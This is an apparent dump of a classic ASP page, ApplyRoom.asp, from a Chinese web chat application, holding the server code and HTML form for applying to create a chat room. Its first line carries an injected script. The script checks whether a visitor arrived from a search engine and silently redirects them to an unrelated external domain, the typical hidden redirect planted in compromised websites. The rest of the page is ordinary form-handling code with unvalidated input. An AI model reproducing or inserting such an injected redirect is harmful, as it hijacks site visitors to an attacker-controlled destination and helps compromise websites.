d:\wwwroot\wuchunhua\liaotianim\ApplyRoom.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="inc/DAL.asp"-->
002:
<%
003:
On Error Resume Next
004:
005:
if Session(Session_UserID_Arg)="" then RW "<script>location.href='../"&Web_Log_URL&"';</script>":response.end()
006:
007:
if request.form("Method")="AddRoom" then applyroom()
008:
009:
function Capp()
010:
dim RoomRs
011:
Set RoomRs=Server.CreateObject( "ADODB.Recordset" )
012:
set RoomRs=DB_CONN.EXECUTE( "select * from [XK_Room] where [IsCheck]=0 and [Room_Admin_UserID]="&Session(Session_UserID_Arg))
013:
if RoomRs.recordcount>0 then
014:
Capp=false
015:
else
016:
Capp=true
017:
end if
018:
end function
019:
020:
function applyroom()
021:
if Capp=false then Rw "<script>alert('申请正在审核中,请不要重复发布!');location.href='RoomList.asp';</script>":response.end()
022:
023:
if( request.form("Room_Name")="" or isnull(request.form("Vcode")) ) then response.write "<script>alert('尚未填写房间名称!');history.back();</script>":response.end()
024:
if( request.form("Room_SmallNote")="" or isnull(request.form("Vcode")) ) then response.write "<script>alert('尚未填写房间简介!');history.back();</script>":response.end()
025:
if( request.form("Room_MaxNum")="" or isnull(request.form("Vcode")) ) then response.write "<script>alert('尚未填写额定人数!');history.back();</script>":response.end()
026:
027:
Dim RS
028:
set RS=Server.CreateObject( "ADODB.Recordset" )
029:
RS.OPEN "select top 1 * from [XK_Room] ", DB_CONN , 1 , 3
030:
Rs.addnew()
031:
Rs("Room_Name")=request.form("Room_Name")
032:
Rs("Room_SmallNote")=request.form("Room_SmallNote")
033:
Rs("Room_Notice")=request.form("Room_Notice")
034:
Rs("Room_Admin_UserID")=Session(Session_UserID_Arg)
035:
Rs("Room_Pic")=request.form("Room_Pic")
036:
Rs("IsLock")=request.form("IsLock")
037:
Rs("IsVip")=request.form("IsVIP")
038:
Rs("IsVideo")=request.form("IsVideo")
039:
Rs("Room_MaxNum")=request.form("Room_MaxNum")
040:
Rs("IsCheck")=0
041:
Rs.update()
042:
Rs.Close()
043:
RW "<script>alert('申请成功,请等待管理员审核!');location.href='RoomList.asp';</script>":response.end()
044:
end function
045:
046:
%
>
047:
048:
<html>
049:
<head>
050:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
051:
<title>iCenter -
<%
=SysConfig("System_Name")
%
></title>
052:
<meta name="keywords" content="ImChat V1.5 Power By XKnet.net">
053:
<meta name="description" content="ImChat V1.5 Power By XKnet.net">
054:
<link href="CSS_Custom/style.css" rel="stylesheet" type="text/css" />
055:
<link href="system_manage/styles/applyroom.css" rel="stylesheet" type="text/css" />
056:
<style>
057:
*{font-family:"微软雅黑";}
058:
.body{ background-image:url(images/RoomBg.jpg); background-repeat:no-repeat; background-position:center 100px;}
059:
.btn{background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) repeat-x top; border: 1px solid #0D87AE!important; color: #fff; font-size: 11px; padding: 7px 10px; boirder-radius: 7px; -moz-border-radius: 7px; font-weight: 700; border: none;}
060:
.btn:hover {background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) 0 -50px; border: 1px solid #005977; cursor: pointer;}
061:
.inputbox{height:26px;}
062:
.leftnav li{text-align:center;}
063:
.leftnav li a{margin-left:20px;margin-bottom:5px;text-align:center;display:block;height:64px;line-height:64px;}
064:
.leftnav li a:hover{background-position:bottom left;}
065:
.UserInfo{background: url(images/userinfo.png) no-repeat top left;}
066:
.UserRoom{background: url(images/UserRoom.png) no-repeat top left;}
067:
.UserFriend{background: url(images/UserFriend.png) no-repeat top left;}
068:
.title{background: url(images/titlebg.png) no-repeat 0px -20px;height:300px;text-align:center;width:35px;color:#333;padding-top:20px;letter-spacing:6px;*padding-top:0px !important;_padding-top:20px;padding-left:3px;line-height:18px;color:#555;}
069:
.title span{background: url(images/dot.png) no-repeat;padding-top:20px;width:15px;}
070:
.UserPhoto{width:100px;height:100px;margin-top:1px;margin-left:1px;}
071:
.photodiv{float:left;width:102px;*width:104px; height:102px;*height:104px;border:#ccc solid 1px;}
072:
.line{clear:both;line-height:5px;height:5px;}
073:
.text{background: none repeat scroll 0 0 transparent;border: 0 none;background-position: 0 -72px;border: 1px solid #C1C1C1;color:#444444;font-size: 14px;height: 30px;padding: 4px 5px 4px 0;width: 300px;padding-left:10px;}
074:
.itemtitle{float:left;height:28px;width:40px;line-height:28px;border:#ddd solid 1px;margin-right:3px;background: url(images/glassbg.png) bottom left no-repeat;text-align:center;color:#999}
075:
textarea{border: 1px solid #C1C1C1;background: none repeat scroll 0 0 transparent;width:300px;}
076:
select{height:30px;border: 1px solid #C1C1C1;background: none repeat scroll 0 0 transparent;}
077:
.radio{}
078:
.btn-ok{background-image: url("images/global.png");background-color: transparent;background-position: 0 -288px;border: 0 none;cursor: pointer;height: 39px;margin: 10px 20px 10px 0;vertical-align: middle;width: 76px;margin-left:45px;}
079:
080:
081:
.RoomList{ width:80%; text-align:center; margin:0 auto; padding-top:20px;}
082:
.RoomList{ width:80%; text-align:center; margin:0 auto; padding-top:20px;}
083:
.btn{background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) repeat-x top; border: 1px solid #0D87AE!important; color: #fff; font-size: 11px; padding: 7px 10px; boirder-radius: 7px; -moz-border-radius: 7px; font-weight: 700; border: none;}
084:
.btn:hover {background: url(SysTem_Manage/themes/blue/img/bg_buttons.png) 0 -50px; border: 1px solid #005977; cursor: pointer;}
085:
.inputbox{height:26px;}
086:
.png{}
087:
088:
div{border:#ccc solid 0px;}
089:
</style>
090:
</head>
091:
<body>
092:
<table class="body" width="100%" height="100%" border="0" cellspacing="0" cellpadding="0">
093:
<tr height="70px">
094:
<td style="text-align:center;"><div class="top">
095:
<div style="width:90%; margin:0 auto;"><a href="index.html" style="float:left;"><img src="images/logo.gif" border="0" /></a>
096:
<a href="inc/ValidLogin.asp?Out=true" title="退出" class="logout"></a>
097:
<a href="javascript:\\;" title="加入浏览器收藏夹" onClick="window.external.AddFavorite(location.href,document.title);" class="fav"></a>
098:
<a href="RoomList.asp" title="房间列表" class="RList"></a>
099:
<a href="Member.asp" title="用户中心" class="user"></a>
100:
<a href="Pay.asp" title="充值" class="pay"></a>
101:
</div>
102:
</div></td>
103:
</tr>
104:
<tr>
105:
<td valign="top">
106:
<div style="float:left;width:7%;text-algin:center;min-width:85px;_width:85px;_overflow:visible;">
107:
<ul class="leftnav">
108:
<li><a href="Member.asp" title="我的资料" class="png UserInfo"></a></li>
109:
<li><a href="MyRoomList.asp" title="我的房间" class="png UserRoom"></a></li>
110:
<li><a href="#" title="我的好友" class="png UserFriend"></a></li>
111:
</ul>
112:
</div>
113:
<div style="float:left;width:4%;text-align:center;">
114:
<div style="width:100%;margin:0 auto;">
115:
<div class="title png">
116:
<span class="png">房间申请</span>
117:
</div>
118:
</div>
119:
</div>
120:
<div style="float:left;width:78%;text-align:center;">
121:
<div style="width:90%;margin:0 auto;text-align:left;padding-top:30px;">
122:
123:
<div class="RoomList">
124:
<form action="#" method="post" >
125:
<table width="100%" cellpadding="0" cellspacing="0" border="0">
126:
<tr>
127:
<td width="350">
128:
<label for="Room_Name"><strong>房间名称:</strong></label>
129:
<input type="text" id="Room_Name" name="Room_Name" class="inputbox" value="" maxlength="8"/>
130:
</td>
131:
<td>
132:
<label for="Room_SmallNote"><strong>房间简介:</strong></label>
133:
<input type="text" id="Room_SmallNote" name="Room_SmallNote" class="inputbox" value="" maxlength="8"/>
134:
</td>
135:
</tr>
136:
<tr>
137:
<td width="350">
138:
<label for="IsVip"><strong>特权房间:</strong></label>
139:
<select id="IsVip" name="IsVip">
140:
<option value="0">普通</option>
141:
<option value="1">VIP</option>
142:
</select>
143:
</td>
144:
<td>
145:
<label for="Room_MaxNum"><strong>额定人数:(0为无限)</strong></label>
146:
<input type="text" id="Room_MaxNum" name="Room_MaxNum" class="inputbox" value="10" maxlength="4"/>
147:
</td>
148:
</tr>
149:
<script>
150:
function CPic(e)
151:
{
152:
document.getElementById("DisPic").src="../"+e.value;
153:
}
154:
</script>
155:
<tr>
156:
<td width="350">
157:
<label for="Room_Pic"><strong>房间图片:</strong></label>
158:
<select id="Room_Pic" name="Room_Pic" onchange="CPic(this);">
159:
<option value="images/roompic/0.png">默认</option>
160:
<%
161:
for i=1 to 9
162:
RW "<option value=""images/roompic/"&i&".jpg"">"&i&"</option>"
163:
next
164:
%
>
165:
</select>
166:
</td>
167:
<td>
168:
<img id="DisPic" src="../images/roompic/0.png" width="100" />
169:
</td>
170:
</tr>
171:
<tr>
172:
<td>
173:
<label for="IsLock"><strong>状态:</strong></label>
174:
<select id="IsLock" name="IsLock">
175:
<option value="0">正常</option>
176:
<option value="1">锁定</option>
177:
</select>
178:
</td>
179:
<td>
180:
<label for="IsVideo"><strong>视频:</strong></label>
181:
<select id="IsVideo" name="IsVideo">
182:
<option value="0">关闭</option>
183:
<option value="1">开启</option>
184:
</select>
185:
</td>
186:
</tr>
187:
<tr>
188:
<td colspan="2">
189:
<label for="Room_Notice"><strong>房间公告:</strong></label>
190:
<input type="text" id="Room_Notice" name="Room_Notice" class="inputbox" value="" maxlength="100"/>
191:
</td>
192:
</tr>
193:
<tr>
194:
<td colspan="2">
195:
<input type="hidden" value="AddRoom" name="Method"/>
196:
<input type="submit" value="提交" class="btn" />
197:
</td>
198:
</tr>
199:
</table>
200:
</form>
201:
</div>
202:
203:
</div>
204:
</div>
205:
</td>
206:
</tr>
207:
</table>
208:
<!--[if IE 6]>
209:
<script type='text/javascript' src='js_Custom/DD_belatedPNG_0.0.8a-min.js'></script>
210:
<script type='text/javascript'>
211:
DD_belatedPNG.fix('.png');
212:
</script>
213:
<![endif]-->
214:
<div style="visibility:hidden;display:none;">
215:
<script type="text/javascript" src="js/ext-base.js"></script>
216:
<script type="text/javascript" src="js/ext-all-debug.js"></script>
217:
<img src="images/logo.gif">
218:
<img src="images/dgbg.jpg">
219:
<img src="css/ext-all.css">
220:
<img src="css_custom/layout.css">
221:
<div>
222:
</body>
223:
</html>
224:
225: